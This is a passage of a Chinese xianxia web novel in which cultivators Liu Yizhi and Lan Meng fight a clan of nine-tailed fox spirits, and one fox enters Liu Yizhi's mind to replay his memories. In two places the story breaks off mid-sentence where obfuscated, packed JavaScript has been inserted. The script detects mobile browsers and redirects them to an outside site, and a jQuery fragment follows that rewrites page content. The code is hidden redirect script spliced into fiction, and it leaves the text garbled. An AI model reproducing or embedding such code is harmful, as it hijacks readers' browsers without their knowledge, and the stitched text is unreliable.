如高山巨石般压在双肩之上的威压骤然消失,像是搁浅的游鱼终于回到水中,柳逸直紧握的双拳猛地放松,他舒了一口气。原以为她的修为也就闻道后期上下,如今看来却隐隐逼近破妄,甚至能和那六尾妖狐较量一二,闫扶音此人实在是深不可测。 花蔺双手环胸,脸上表情轻蔑又傲慢,他冷哼一声,道:“倒是有几分胆色。但此处可是老子的地盘,就算你有法子可以助长修为又如何,不过是螳臂当车。” 岚孟沉声道:“你大可以试试。” 花蔺冷笑,一脚踏上关住了鸣珂的笼子,脚下用力,铁笼一寸寸收紧——威胁意味明显。 鸣珂惊恐地抱住自己蜷缩了起来,即便是浑身直打哆嗦,也不肯向花蔺低头一分:“臭狐狸我告诉你,你你你死定了!等老娘出去了,看老娘怎么扒了你的皮做围脖!把你的头当球踢!” 花蔺居高临下地睨她一眼,哂笑道:“修为不怎么样,骨头倒是硬得很,不知道笼子收紧以后,你的骨头是不是还和现在一般硬。” 鸣珂气得要吐血,她看向趴在花蔺肩头的魂魄,眼睛里几乎要喷出火来:“花照!十八年前你姐姐花繁被困于无相岛,可是我费了老鼻子劲儿将她救出来的!否则她怕是猴年马月也出不来,哪还有功夫给你们收尸!好歹我也算是你半个恩人,你就冷眼看着花蔺这般残害于我吗!” 花照放开了搭在花蔺肩头的手,花蔺“哎”了一声,伸手就去抓她,花照却化作一缕青烟飘了下去,花蔺的手抓了个空,眼看着那缕青烟直直飘向脚下铁笼,他只好把腿收了回来。 铁笼停止了收缩,花照重新化作人形,将铁笼扶正,她看着鸣珂的眼睛,面露歉意,“抱歉,你知道了青丘的秘密,我不能放你离开。” 鸣珂一头雾水:“你有病吧!那臭狐狸把我掳进来以后,我就一直被关在这里,我知道个屁的秘密!” 这时,一直缄默不语的柳逸直出言打断道:“恐怕青丘的存在就是最大的秘密吧。” 所有人的目光都汇聚到了他身上,柳逸直丝毫不乱,思路清晰道:“就像二位一体双魂一般,清风村村民的身体里都宿着另一个魂魄,若我没猜错的话,恐怕就是其他的九尾狐吧?你们抓了轮回蝉,抽取他的妖力篡改了此地的时间秩序,用所谓的‘长生不老’为饵,将村民骗进此地,再秘法将他们的命理和狐魂相连,保妖狐魂魄不散,我说的可对?” 在跟着刘忠华来这里的路上,他们发现有九尾狐的魂魄寄宿在了村民身上,结合他们在刘家的发现——十八年前的年历,被抽取了妖力的鸿,便得出了如此结论。 花蔺面色铁青,身后狐尾将空气抽得噼啪作响。 柳逸直临危不乱,继续道:“二位将英水从外界挪到了这里,而清风村的房屋布局也同昔日的青丘一模一样,你们想重建青丘,我说的可对?” 花蔺冷笑:“小子,少在那信口开河了,青丘尚存的时候,你多少岁?恐怕连毛都没长齐吧!还能知道当年的青丘长什么样?说出来也不怕别人笑掉大牙。” 柳逸直并没有因为花蔺话语中的轻视而气恼,他淡然笑道:“巧了,在下还真见过尚未覆灭的青丘。十八年前,宣措将我一家三口抓到了青丘,逼迫家父交出了祖传的阵法秘笈,宣措用来血祭的禁阵就是根据我易氏记载的禁阵‘饮血阵’改造的。” “原来是你!”花蔺顿时怒发冲冠,狐尾上的毛瞬间便变得如铜铁一般坚硬,一尾巴便将一旁的巨石拦腰切成两段,他的指甲变得如剑刃一般尖锐,口中长出尖牙,弯腰蓄势,就朝柳逸直扑去。 花照却挡在了他面前,她偏头看了他一眼,声音轻缓却不容拒绝,“退下。” 花蔺龇着牙,透过半透明的魂魄看着不远处的年轻男子,喉咙中传出低哑的嘶吼。 “二姐,为什么拦我!就是他害得我们青丘尸横遍野!只能窝囊地躲在这个破地方!” 花照反手甩了花蔺一巴掌,面无表情道:“冷静下来了吗?” 花蔺的胸膛剧烈起伏着,呼吸急促又粗重,咬着牙不肯服输,花照冷眼和他对视,明明只剩一缕魂魄,但她周身的气息依旧可怖,慢慢地,花蔺的尖牙的利爪都收了回去,尾巴也渐渐恢复正常,他啐了一口,臭着脸将身子别了过去。 在花照姐弟对峙的片刻,岚孟给柳逸直传音:所以你是在青丘遇到尧玦的? 柳逸直点头:是。 岚孟再问:他和你说什么了?既然你在青丘,那宣措血祭的目的你知道吗? 柳逸直摇头:我那时不过六岁,被囚期间发生的事情都记不太清了。我爹娘和妖狐玉石俱焚,尧玦救下我以后,就将我送出了青丘,宣措施行血祭到底意欲何为,我也不清楚。 岚孟了然。 难怪那时她赶到青丘的时候没见到他,原来是早就被尧玦送走了。他身上必定有什么是尧玦看重的地方,否则尧玦怎会在背腹受敌的情况下救一个毫无灵力的孩童,还将弥足珍贵的尾羽相赠。 自从生了灵智开始,岚孟就一直跟在尧玦身边了,云登谷也很少回。即使朝夕相伴八十年,她也不敢说自己了解尧玦。 他确实胸怀宽广,大公无私,为了黎民百姓鞠躬尽瘁,舍生取义,但他也心机深沉,从不与人交心,不想说的话,任谁来也撬不开他的嘴。 尧玦最喜欢放长线钓大鱼,也不知道收到了尾羽的柳逸直,抑或是被责令吞下妖丹的她,到底是棋盘上的哪一步棋。 岚孟不动声色地吞吐了一口气,左手自然下垂,蔷薇藤长了出来,在她手腕上绕了一圈又一圈。 柳逸直则将手放在身后,从芥子袋里掏出了一把五颜六色的阵旗,摸索着按“红黄蓝”三种颜色为一组夹在了指缝里。 花照看了过来,朝柳逸直笑了笑:“当年我王也是受人蒙蔽,才酿成了大祸,如今覆水难收,我族也付出了惨烈的代 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虽然花繁耗损修为,强行留下了狐族的魂魄,但狐魂早已残破不堪,就算用清风村百姓的□□蕴养,也只能保他们神魂不灭,维持神志的清醒都十分艰难,更别说从他们的口中拼凑出青丘血案的真相了。 但现如今,柳逸直这个幸存者竟然主动送上了门来,他自己记不清了没关系,但她可以进入他的灵府回溯记忆啊!这是花照与生俱来的天赋,是她引以为傲的看家本领,此时不用,更待何时? 花照扬起一个似仙似魅的笑脸,眸中一抹紫光划过,她张开双手,一步步朝柳逸直靠近,轻薄的衣衫下水蛇似的腰肢若隐若现,一阵馥郁的香气从她身上传了出来,朱唇一张一合,她蛊惑道:“仙长就答应吧,这可是个稳赚不赔的买卖……” 鸣珂心中警铃大作,立即大声提醒道:“别答应她!被花照回溯了记忆的人轻则神智全无,重则灵府碎裂、不治而亡!” 柳逸直没有听到这一句提醒,他只感觉心神都被花照吸引了。 和曾经闫扶音魅惑他时的情况完全不同,那时他头脑清醒,神志尚存,只会不由自主地吐露真言,而现在不同,他心中生出了无限的渴望,渴望朝面前这个美貌的女子靠近,渴望拥有她的一切,为此,他愿意献出自己的身体,心脏,甚至灵魂…… 柳逸直的眼瞳逐渐变成了紫色,他不由自主地抬腿朝花照走了一步,然而就在这时,不知从何处传来一阵清冽的香气。这香气若有似无,令他感觉身处于雨后的山林,花草树木的清香都融入了雨水之中,略带寒凉的微风拂在身上,所有的杂念都被席卷一空。 电光火石间,柳逸直眼中的紫色陡然消失,痴迷的神情化作冷寂,他朝后退了一步,再次和岚孟并肩而立。 岚孟微微勾唇,抬手将参剑对准了空中半透明的魂魄。 花蔺含笑的嘴角耷拉了下来,她冷冷道:“看来二位是有备而来了。既然不吃敬酒,那便只好请两位尝一尝罚酒的滋味了。” 她往后一退,隐入花蔺的身体里,花蔺立即退去人形,化作一只体型庞大的六尾妖狐,尾巴毛硬如铜铁,根根分明,裹挟着妖力朝二人抽来。 参剑从岚孟手中脱离出去,直直击向花蔺的眉心,蔷薇藤犹如长鞭,甩动时发出响亮而尖锐的声音,从侧面缠住了袭来的狐尾。 柳逸直将手中阵旗撒了出去,三色阵旗扎在了洞中的铁笼子上,形成三角阵法,笼子上的禁制一个接一个被粉碎,沉睡的异兽们纷纷苏醒。 鸣珂一脚踢碎了铁笼,青色的巨大翅膀从她背后张开,她哈哈大笑了起来。 “死鱼眼狐狸,看姑奶奶不扒了你的皮!” 61. 乱糟糟 场面一时间极其混乱。 他的六条狐尾好像有自己的意识一般,有条不紊地攻击众人,参剑在空中转来转去偷袭花蔺,岚孟操纵着蔷薇藤,只能勉强拦住三条狐尾。鸣珂飞在半空中,青色的翎羽环绕在她周围,她手握一根长棍,吃力地和狐尾缠斗。 柳逸直的花样就要多得多,风能承托万物,任何事物都可以成为他的武器,滚落的山石,锐利的羽箭,小巧而致命的飞刀。这些对花蔺的伤害都不大,但因为不知道东西何时何地从何处飞来,一个不留神就会被击中,让花蔺烦不胜烦。 苏醒过来的异兽们在山洞里四处逃窜,本就拥挤的山洞更是乱上加乱。 獬豸抬起前蹄刨了刨土,低下头朝花蔺冲去,岚孟见状便用蔷薇藤缠住了花蔺的腰身和尾巴,将他牢牢禁锢在了原地,虽然只有一息时间,但也让獬豸一角顶在了九尾狐的屁股墩上。 花蔺痛得“嗷”了一声,六条狐尾一齐用力挣断了蔷薇藤,再往上一扫,山洞上方顿时被破开一个巨大的豁口,明月的光辉倾泻而下,地面塌陷下来,土石树木轰隆隆往下掉。 蔷薇藤被挣断时的力道让岚孟飞了出去,眼见着一个巨大岩石朝她压来,岚孟本想抽出商刀抵挡,手刚放到腰际,一个温热的胸膛便从背后贴了过来。 柳逸直揽着她的腰,步履轻盈地踏着掉落的石头往豁口处飞去,然而花蔺曾会让他们轻易套路,六条狐尾径直朝半空中的两人袭来,如笼子一般将两人困在了半空中。 玉白骨扇从柳逸直袖中滑出,金色光芒在二十八档扇骨间依次亮起,最终定格在了属于南方七宿的“翼”字档上,一条似虚非虚的赤色蟒蛇从骨扇中冒出了头,炽热的火焰从蟒蛇口中如潮水般喷涌而出,瞬间便沿着花蔺的尾巴卷上了他的身躯。 于此同时,高空中的鸣珂摆了摆手,悬浮在她周身的青色翎羽立即整齐划一地朝花蔺袭去。翎羽锋利如剑,成功将花蔺逼得后退一步,狐尾囚笼开了个豁口,柳逸直立即抓住机会带着岚孟从豁口冲了出去,临走之时还挥手招来一阵风吹倒了洞口周围的树木,巨树哗啦啦朝洞口倒去,和塌陷的土地一起将花蔺掩埋在了地底。 脱身以后,柳逸直立即将岚孟放到了地面上,然后双手结印,繁复精细的阵纹浮现于右手掌心,他弯腰将右手往地上一拍,阵纹立即印在了土地之上,以他为中心朝四周扩大,差不多覆盖了整座山头,最后收敛光芒隐入了地下。 做完这些,他立即拔腿往山下掠去。 “轰”地一声巨响,堵在洞口的树木沙石都被掀上了天,花蔺从深坑中跳了出来,摇晃身子抖了抖身上的沙土,不远处的三个老鼠或在天上飞,或在地下跑。 六尾妖狐龇着尖牙,喉咙深处传出低吼,纵身一跃便是三丈远,高高抬起前爪就要将柳逸直拍扁在地下,却被他灵活地躲了过去,爪子落空,在地上按出了一个深深的爪印。 忽然,脚掌上传来了尖锐的刺疼感,疼得花蔺猛地抬起了前爪,低头一看,只见爪印上赫然是密密麻麻的铁制尖刺,有些已经深深扎进了他的肉垫之中,鲜血从伤口处渗了出来。 花蔺挥了挥爪子甩掉尖刺,继续朝前追去,然而他每走一步,落脚之地便会有尖刺长出来,他冷哼一声,“雕虫小技。” 他纵身跃上一旁高大的树木,然而尚未在树上站稳,树根所在的地面便塌陷了下去;花蔺灵活地跳上了巨石,石头却忽然爆炸了;草地上业火滚滚灼烧他的皮毛,他纵身跳入英水之中,数万年来从未结冰的英水居然一瞬间便冰封千里,花蔺费了九牛二虎之力才将爪子从坚冰中拔了出来。 站在冰面之上,视线里早已没了那三人的影子,花蔺怒极反笑。 不愧是易骞的儿子。听闻当初易骞不过元初境,就凭一己之力干翻了十余个四尾妖狐,有着八百年修为的大长老亲自出马,才将他们一家三口捉回了青丘。后来尧玦等人赶来,也是得到了他的指点,才一举攻破了青丘封山大阵,将在场的九尾狐一族尽数斩杀。 虎父无犬子,还真是小看他了,花蔺想。 花蔺被阵法阻拦的时候,岚孟三人已经来到了清风村。适才逃出山洞的刘忠华已经将全村人都喊了起来,村里灯火通明,大人们手中举着火把和刀具,一副严阵以待的模样,将年纪小的孩子通通护在了身后,正中央的不是别人,正是被伪装成“刘父”的鸿。 他显然还没有弄清楚现在是什么个情况,气得脸红脖子粗,叫嚷着放他出去对敌。 “老头子虽然风烛残年,但我还能打!放我出去!把未来留给年轻人!放……咳咳咳!”操着大嗓门说到最后,鸿一个不慎岔了气,他剧烈地咳嗽起来,旁边的村民立即拍着他的背给他顺气。 刘忠华苦口婆心道:“爹,您就别犟了,这么大岁数的人了,怎么一点也不让人省心?儿子就是豁出去这条命也会不会让大家受伤的,再不济还有大仙呢!他会保护咱们的!” “你知道个屁!”鸿一口唾沫星子全喷到了刘忠华脸上,“就凭你们几个,怎么对付得了外面来的仙人!也不掂量掂量自己有几斤几两,你们手里那些破铜烂铁,人家动动手指头就能撅了!” 话音刚落,忽然刮来了一阵风,村民手中的火把“唰”地一下子全灭了,只有少数气死风灯里的烛火还在顽强燃烧,照亮着黑暗。 呜咽风声犹如鬼泣,几个孩童吓得哇哇哭了起来,站在外围的村民心惊胆颤地举起手中生锈的刀具,用刀尖对着潜藏在黑暗中的未知敌人。 又一阵风席卷而来,村民手中刀具都不由自主抖动起来,刘忠华手中的砍柴刀抖得最厉害,他双手吃力地握住了刀柄,牟足了吃奶的劲才没让柴刀脱手飞入空中。 不少村民都被吓傻了,手一哆嗦,刀具便哐当啷掉到了地上。 刘忠华骂道:“蠢货,还不快捡起来!” 然而还不等村民捡起掉落的镰刀和锄头,它们便齐齐飞了起来,就连刘忠华手中的柴刀也挣开了他的钳制,径直飞上了高空之中。 纵使村民们和花蔺做了交易,不老不死、不吃不喝也安安稳稳在秘境里生活了十八年,可包括刘忠华在内,大家都是老实巴交的庄稼人,也没接触过修行之人的打斗,哪里见过锄头上天的场景?尽管一个个说得那般冠冕堂皇,什么永不退缩,誓死保护清风村……可事到临头,还不是腿脚一软就摔了个屁股墩。 鸿急得用拐杖捶了捶地,不争气道:“看你们那狼狈的样子,就像是臭水沟里翻不起身的老鼠,早就说了让老头子来,你们非不听,现在好了吧!武器都没了,看你们还怎么保家卫国!” “关键时刻还是得老朽我出马!” 他颤颤巍巍地举起拐杖,推开挡在他身前的小娃娃就朝外走去,刘忠华连忙上前阻拦,然而还没碰到他一根手指,一根蔷薇藤便从侧边飞了出来,打在刘忠华的肚子上,将他掀飞了出去,随即缠上鸿的腰身将其卷到了高空中。 夜风呼啸着从自己身上划过,看着身下乌泱泱的人头,和悬浮在身侧,整齐划一对准了自己的柴刀、镰刀、锄头等刀具,鸿吓得直哆嗦,急得吱哇乱叫道:“老朽可是有神仙庇佑的人!恶鬼退散!恶鬼退散!” 不知道庇佑着轮回蝉的羲和大神听到没有,但半蹲在屋顶上的岚孟却是听到了,她拽了蔷薇藤一把,鸿便被扯到了她身侧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你说,该怎么处置这些本不该存活于世的魂魄呢?” 花蔺完全没料到这疯婆子竟能将狐魂抽取出来,明明她的修为还不如他。 他急道:“有话好说,快放了他们!” 岚孟不语,只朝身侧的鸿歪了歪头。 花蔺陷入了两难的境地。用“长生不老”之术将清风村村民骗到这里,本就是为了蕴养狐魂,若是释放了鸿,时间法则崩塌,村民们的时间便会开始转动,他们立即老的老,死的死,牵一发而动全身,他们同狐魂之间的维系也会崩塌。 但若是拒绝释放鸿,说不定那疯婆子立马就会斩断灵气锁链,狐魂失去了凡人□□的蕴养,过不了多久就会灰飞烟灭,那他们十八年来的努力就白费了。 花蔺只觉得进退维谷,他焦急道:“二姐,该怎么办?” 花照的声音在他耳边响起:“慌什么,姐姐已经醒了。” 就在这时,地面忽然震颤不止,轰隆隆的声响仿佛从地底传来,一条埋在地下的巨大狐尾冒了出来,拱开了村民脚下的土地,岚孟连忙拽紧蔷薇藤将他们甩上了高空。 其余八条狐尾也纷纷破土而出,体型比花蔺大了好几倍的红狐站了起来,土地塌陷,茅屋倾倒,清风村很快就成了一片废墟。她头顶上的正是刘家小院,只见她晃了晃脑袋,小院子便径直掉到地上,摔了个稀巴烂。 岚孟放下蔷薇藤,将村民放在了尚未塌陷的地方,目光紧紧盯着那只庞大如小山的九尾狐。 ——现存的唯一一只九尾天狐,花繁。 花繁的目光划过柳逸直和鸣珂,轻轻落在了岚孟身上,她笑了一声,嗓音如银铃般悦耳,却让岚孟浑身一震,身上的血液都好似凝固了。 “别来无恙啊。” “岚——孟——” 62. 六二章 岚孟。 这两个字好似一方巨石,重重砸进了柳逸直的心湖之中,激起一阵阵涟漪,久久不能停歇。 柳逸直忽然感觉脑海中传来一阵尖锐的疼痛,识海中风起云涌,迷雾之下好似有什么不可描述之物想要挣开禁锢逃出来,然而那阵疼转瞬之间便消失得无影无踪,识海重归平静,仿佛异常从来都不曾发生过一般。 他好像在哪里听到过这个名字。 柳逸直扭头朝身侧的姑娘看去,只见她一向风轻云淡脸色渐渐沉了下来,神色晦暗不明,语气依旧平淡,但却让人感觉到一股风雨欲来的危险气息。 “我们此前并没有见过吧。” 九条狐尾翻转了一圈,花繁化作了人形,明眸善睐,瓌姿艳逸,当真是不可多得的美人儿,她衣着清凉,露出胸前大片肌肤,和笔直修长的双腿,步履轻盈地落在了岚孟对面的屋顶,兽形的花蔺在她身后趴下,她身子往后靠了上去。 岚孟紧紧盯着对面的花繁,只见她的手往虚空中一抓,抓出来一个长烟斗,放到唇边轻轻吸了一口,再吐出烟圈来,她歪头看着自己,轻轻笑了一声。 “那都是多少年前的老黄历了,你恐怕才降生不久吧,小小一只鸟儿窝在尧玦的怀里,还没有巴掌大,当真是我见犹怜。那时我嫌妖域无趣,便收敛妖气去人境的青楼楚馆搞了个花魁当当,尧玦从我窗下路过,我就远远地望了他一眼,当真是意气风发,芝兰玉树。我腆着脸求他与我合修,怎料他看都不看我一眼,便带着你这个拖油瓶走了,当真是不解风情呢。” 花繁又吸了一口烟,语气略显惆怅:“后来才知道他和一个从九幽出身的人族女子好上了,我还偷偷跑去看过,那女子长得平平无奇,修为也一般般,我花繁修炼千年,是妖域赫赫有名的美人,哪里比得上她?” 九幽出身的女子?柳逸直只记得多年前有个叫辛念的女人潜入山到源,妄图偷盗暾云炬,传闻尧玦同她大战三百回合,从陵州一直打到了平河州,最后尧玦只带着暾云炬回来了,山到源随即便对辛念发了通缉令,直到现在也没有撤销。 莫非花繁口中和尧玦相好的人就是她?不打不相识? 耿直如鸣珂,她不合时宜地生出了几分好奇心,在双方都严阵以待,只需一声令下就大打出手的情况下,她大大咧咧问道:“那女子是谁啊?” 柳逸直的心一紧。心想两个知情人一个是锯了嘴的葫芦,另一个巴不得灭了他们的口,怕是谁也不会回答这个无关紧要的问题。 没想到花繁十分大方地解答了鸣珂的疑惑:“她叫辛念。” 鸣珂“噢”了一声,“不认识。” 花繁掩唇笑嘻嘻道:“没关系,岚孟认识她呀!她们俩一个死了情郎,一个死了兄长,不知道聚在一起抱头痛哭了多少次呢。” 岚孟冷漠道:“说够了没有?”她以迅雷不及掩耳之势将商刀抽了出来,狠狠朝花繁掷去。 花繁勾了勾唇,轻笑道:“真是年轻气盛。” 她轻轻晃了晃手中烟斗,浓浓青烟便从烟斗头部冒了出来,将商刀包裹了起来,浓烟从她身后绕到另一边时,商刀便径直飞了出去,被迎面飞来的岚孟一把攥住。 她左手握着商刀,右手提着参剑,刀剑齐下,直直朝花繁砍去,被花繁以烟斗长杆挡下。 花蔺张着血盆大口朝岚孟咬来,岚孟于半空中旋身飞踢,一脚踹在他下巴上,将其踹飞出二里地。 花繁抓住了岚孟的破绽,空着的手转眼之间便变成了巨大狐爪,尖锐的指甲锋利无比,径直朝岚孟后背抓去,就在这时,破空声传入耳中,花繁立即化掌为刃,抬手劈掉了径直朝自己袭来的赤红羽箭。 羽箭被拦腰斩断,断口处却有微弱的光芒绽放,花繁暗道不好,尚未来得及脱身,那光芒忽然扩大成圆形阵纹,无数条金色锁链从阵法中伸了出来,径直扑向正对面的花繁。 她眼神一凛,拿着烟斗将锁链全都绕在了一起,再用狐掌一劈,锁链一下子全都断了,阵法也瞬间破碎,承载阵法的羽箭刹那间便化作了齑粉。 岚孟不知何时来到了她的背后,冰寒刀刃径直朝着她的脖颈劈下,明明攻击近在咫尺,花繁却纹丝不动,煞有介事地抽了一口烟,吐出一个个烟圈,才笑吟吟道:“游戏该结束了。” 她身后猛地蹿出来九条狐尾,瞬间便延伸出十丈长,其中一条狐尾重重击向岚孟的后背,“轰”地一声巨响,岚孟被狠狠掼在了地上,她整个人都深深陷进了地里,猛地咳出一口血来。 “闫扶音!”柳逸直大惊失色,立即朝岚孟的方向掠去,其余八条狐尾纷纷朝他袭来。柳逸直身形敏捷,速度极快,花繁一时间竟拦不了也捉不住他。 见状,花繁微微勾了勾唇,用压住岚孟的那条尾巴将她卷了起来,往边上狠狠一抛,而那个方向的尽头赫然是已经缓过劲来的花蔺,张着血盆大口等待着猎物。 柳逸直立即上勾了,奋不顾身地朝岚孟掠去,一把将她抱在怀里,然而花繁的尾巴也如期而至,将两人卷了起来狠狠掼在了地上。 后背重重砸在了地上,柳逸直亦不可避免地口吐鲜血,他心惊胆战地看向怀中的姑娘,她的额头上、脸颊一侧满是鲜血,紧紧闭着眼睛,不知道是死是活。 柳逸直颤抖着手抚上她的颈侧,感受到跳动之后他才如释重负,他抬眼望去,不远处,花照的魂魄从花蔺身上浮现了出来,一步步走向自己。 躲在暗处的鸣珂气得踢了鸿的屁股一脚,怒道:“拖后腿的东西!” 鸿被这一脚踢得以头抢地,他立即哀嚎道:“哎呦呦,疼死我老人家了……” 眼见着事态愈发不妙,鸣珂急得像是热锅上的蚂蚁,“怎么办?我再不出手他们就要翘辫子了!但是这家伙怎么办?”她看向病歪歪倒在地上的鸿,心想伸头是一刀,缩头也是一刀,她和那三只狐狸拼了! “你我都是妖族,你进我妖域应该死不了,我这是救你,你可千万别抵抗!” 鸿破口大骂:“谁跟你一样是妖怪!你个小丫头片子嘴巴放干净……” 话说到半截,鸿就被鸣珂提着后脖颈塞进了妖域之中,鸣珂的妖域乃是一片一望无际的大海,他“噗通”一声掉进了海里,海里起起伏伏,他也沉沉浮浮。 “咕噜噜……好歹,咕噜……好歹把绳子解开啊!” 鸣珂并没有注意到鸿的控诉,她已化作原型,鸾鸟青色的羽毛在月光下流光溢彩,如梦似幻,她旋转着飞入高空之中,无数翎羽从她翅膀上脱落下来,她一挥翅膀,数千片翎羽便一齐朝地上的两狐一魂袭去,花蔺踏入半空之中挡在花繁等人身前,六条尾巴飞快摆动着击落翎羽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975724|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳逸直奋力挣扎着,狐尾越收越紧,他使不出来半分灵力,而怀中的岚孟也不知为何毫无苏醒的迹象。 花照飘至两人跟前,伸出手捧住了柳逸直的脑袋,他紧紧闭上了眼睛,生怕再被蛊惑。 然而花照的目的并不在此,她用额头轻轻碰了柳逸直的。 柳逸直只感觉脑海中“叮”地一声,识海里的迷雾瞬间翻腾起来,他咬牙以意念相抗,然而花繁冷冰冰的声音却清晰地传入了他的耳中。 “再负隅顽抗,我就杀了岚孟。” 柳逸直闭着眼睛,放出外界的神识却“看到”了花繁的手紧紧掐着岚孟的脖颈,锋利的指甲嵌入了她的皮肉之中,已经有少许鲜血渗了出来。 柳逸直一下子慌了神,花便照抓住了这个破绽,整个魂魄化作一缕青烟,一瞬间便通过相触的额头钻入了柳逸直的灵府之中。 见目的已然达成,花繁也不捆着他们了,狐尾一松,两人便软绵绵倒在了地上。 高空中的鸣珂暗骂一声“该死”。 闫扶音这人究竟在搞什么啊!怎么一根狐狸尾巴就将她打趴下了?真是关键时刻掉链子!临起床前尿裤子! “闫扶音!快醒醒!”鸣珂试图唤醒趴在柳逸直身上一动不动的人,然而喊了几声她也毫无反应。 鸣珂灵机一动,高声道:“岚孟!尧玦找你!” 不知道是哪个名字起了作用,岚孟猛地直起了身,“噗”地吐出一口黑血,色泽暗黑宛如墨汁。 她一抬眼便看见花繁翘着二郎腿坐在正前方的废墟之上,好整以暇地望着她,唇边还挂着一抹得逞的笑容。 岚孟立即往身下看去,只见柳逸直双眼紧闭,眉头痛苦地蹙起,灵府里混乱不堪,一只七尾红狐在识海迷雾之中窜来窜去。 糟了。 岚孟心中“咯噔”一声。 花繁眼尖地看见了那一刹岚孟表情的变化,她用烟斗指了指柳逸直的眉心,笑道:“若是想救他,还得你亲自进去才是。” 岚孟瞪她:“你什么意思?” 花繁无辜地耸了耸肩,“字面意思咯,你若不想他死,就在这小子识海崩坏之前把我二妹花照带出来,否则就等着他变成具冷冰冰的尸体吧,放心,我不会在这个时候攻击你的。” “你会有这么好心?”岚孟看向花繁,一脸的不相信。 花繁一副被冤枉了的样子,假模假样地掩面哭泣道:“天可怜见的,我花繁是那种趁人之危而人么?再说了,这般可心的人儿成了死尸,你不心疼我还心疼呢。” “更何况,”她抬起头来,斜眼瞥向悬浮在空中和花蔺对峙的鸣珂,“狐族的命脉可是被那丫头抓在手里呢,我可不想你们给我来一个玉石俱焚。” 岚孟不敢大意,以指为剑,在自己和花繁中间划了一道,土地顿时被劈开了一个巨大的裂缝,磅礴的灵气凝聚成墙,将花繁阻隔在外,鸣珂见状也不再和花蔺纠缠,径直飞过灵气之墙,落地化作了人形。 她道:“你快去吧,我守着你们。” 岚孟点了点头,无数蔷薇藤从她手腕处钻了出来,攀上灵气墙壁,相互缠绕交织成巨网,蔷薇藤上长出了尖锐的刺,禁止任何人靠近。 岚孟弯腰靠向柳逸直,额头相触的瞬间,她的神识毫无阻拦地沉入了柳逸直的灵府之中。 63. 缩小版 灵府是识海的所在地,在修士尚未踏入闻道境之前,灵府就是个空空荡荡的广阔空间,其中的迷雾可以算作是尚未理清的“道”。只有获悉自己一直以来所追求的是什么,自己以后要做什么,坚定己之信念,坚守己之准则,才能将识海中的迷雾扫荡一空,丹田内生出领域,同灵府首尾相连,承载着道心的“支柱”贯穿两界,这就是闻道境。 柳逸直显然已经摸到了闻道的门槛,迷雾依旧充盈着他的灵府,但云涌雾集,时不时有光撕裂迷雾,如利剑般破空而出。 岚孟来到他的灵府时,正好有一束光打在了她的身上,顷刻间便又被迷雾吞噬掉了。余光瞥到了一条火红的狐尾,岚孟立即追去,便见深处的迷雾之中到处都是狐狸的影子,它们嬉笑着到处乱跑,银铃般的笑声充斥着岚孟的脑海。 迷雾逐渐被狐影带动,逐渐形成了一个漩涡,所有狐影全都汇聚在了一起,花照扭头朝她挑衅地笑了笑,然后一头扎进了那漩涡之中。 “哪里跑!” 岚孟甩出蔷薇藤牢牢栓住了花照的后腿,本想将她一把扯出来,却不料那漩涡的吸力比她想象中要强得多,岚孟连脚指头都用上了力,也没有把花照拽出来,反而将自己搭了进去,岚孟一头栽进了漩涡之中。 狂风呼啸着从身上掠过,岚孟倒在了一片柔软的草地上,潺潺流水声传入耳中。 又是眼熟的青山绿水,长着人面的赤鱬鱼跃出水面,一行飞鸟从头顶飞过。 这一切都和刚进入青丘秘境是那般相似,但岚孟知道,这不是花繁三姐弟苦心孤诣伪造的场景,而是留存于柳逸直记忆之中的,十八年前尚未覆灭的青丘! 花照的天赋是“溯忆”,这种能力和搜魂有很大区别,后者是复现记忆,被搜魂者能记得多少就只能看到多少,而溯忆则不同,它能凭借一个人的记忆片段,补足此人忽略了的场景,将某事件完整地复现出来,换句话说,“溯忆”其实和回到过去没什么分别。 因为涉及灵府识海,所以对施术者和被施术者都有极大的伤害,施术的时间越短越好。 既然花照的目的是要弄清楚宣措为何要血祭九尾狐全族,那她选择的时间节点应当离血祭开始时间很近。 按照岚孟的推测,应当是十八年前的六月二十,也就是尧玦陨落的前一天。当时的她还在赶来的路上,而尧玦肯定是已经埋伏在青丘某处了。 虽然她也很想知道当年究竟发生了什么,但柳逸直的性命要紧,还是赶紧找到花照吧。 岚孟朝山中掠去,径直来到了清风村所在的位置。当年狐狸村的布局和清风村如出一辙,只不过茅草屋变成了狐狸洞。村子里熙熙攘攘、热闹非凡,年长的九尾狐们忙着将猎来的野兔、獐子等开膛破肚,清洗干净,一一摆放在盘子里,年幼的则采了五颜六色的花插在大大小小的狐狸洞口,以作装点。 看着像是在准备什么隆重的事情,祭祀?岚孟猜测。她仔细辨别着每一只狐狸,却没有发现花照的踪迹,想来应该是去找宣措了。由于这里只是记忆,所以九尾狐们都看不见她,所以岚孟大摇大摆地从村子中心的道路穿了过去。 当年青丘只剩一片焦土,为了避免身份暴露,她来不及多探查一番便匆匆离开了,只依稀看见狐狸村所在的山头有阵法的痕迹,想来那就是血祭的地点了,宣措此时恐怕就在那里,为了查明真相,花照定然会去找他。 岚孟马不停蹄往山上赶。半山腰有一大片竹林,风吹竹叶的沙沙声涌入耳中,阳光透过稀疏的林梢在竹林间的小径上洒下斑驳的光影。 倏尔,一阵狂风吹来,竹叶纷纷落下,被风承托着三三两两汇聚在一起,形成了蝴蝶的样子,齐齐朝岚孟涌来。她抬手打散了蝴蝶,继续提步朝前走。 然而没过多久,竹叶蝴蝶又从身后袭来,数量比方才多了好几倍,密密麻麻一大群。进入灵府以后没法使用灵力,岚孟只好旋身化作一只腹白背蓝的鸟儿,扇动翅膀打散了竹叶蝴蝶,再落地时又化作了人形。 